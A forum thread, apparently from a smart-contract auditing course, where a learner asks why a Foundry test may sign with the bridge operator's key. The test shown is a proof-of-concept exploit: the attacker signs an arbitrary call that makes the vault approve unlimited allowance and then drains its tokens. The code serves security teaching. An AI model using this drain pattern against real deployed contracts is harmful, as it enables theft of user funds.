Section 7 - using operator.key in tests

[juliancabmar]

Hello everybody. Checking this test:

function testCanCallVaultApproveFromBridgeAndDrainVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        deal(address(token), address(vault), vaultInitialBalance);

        // An attacker deposits tokens to L2. I do this under the assumption that the
        // bridge operator needs to see a valid deposit tx to then allow me to request a withdrawal.
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        // Under the assumption that the bridge operator doesn't validate bytes being signed
        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(uint256).max);
        token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
    }

I realizes that we use an operator who in a real scenario will be hidden to us. So, I'm not understand (yet) how this is a valid test. In a previous test (testSignatureReplay()) a previous signed message is re-send, but here, a all new message is involve. Please... give me some light :)
Regards.

[EngrPips]

How do you think we can write the test if we don't assume that an operator signs the transaction like we did in the test? You are correct that in a real scenario we won't be the one to use the operator key to sign the transaction but in essence the operator will sign the transaction and that is what we are trying to prove.

You need to understand that a test scenario is different from a real transaction scenario.

[juliancabmar]

Wow that was fast! Thanks @EngrPips.
Ok, so this proves what somebody how have valid credentials (a stolen private key or a malicious operator) can make approvals on L1Vault. I'm right?

[EngrPips]

I think it shows how someone can abuse the protocol's low-level implementation to drain funds from the protocol.